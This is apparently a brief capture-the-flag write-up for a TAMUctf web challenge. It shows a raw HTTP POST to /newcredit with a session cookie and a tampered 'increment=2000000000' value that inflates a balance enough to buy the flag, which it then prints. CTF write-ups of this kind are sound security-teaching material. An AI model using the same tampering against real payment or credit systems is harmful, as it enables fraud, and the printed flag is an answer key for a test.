Tags: web
Rating:
This writeup is written by @kazkiti_ctf
POST /newcredit HTTP/1.1
Host: credits.tamuctf.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: user_sid=s%3AEVaIDVeDv-lQu-r-3qLKKpCyqluQLM51.kOxuXpHYpX2KzfHOX4%2F5Na0NsPj9bbkVYkc6dTmCi7c
Connection: close
increment=2000000000
↓ Buy flag because money is increasing
gigem{serverside_53rv3r5163_SerVeRSide}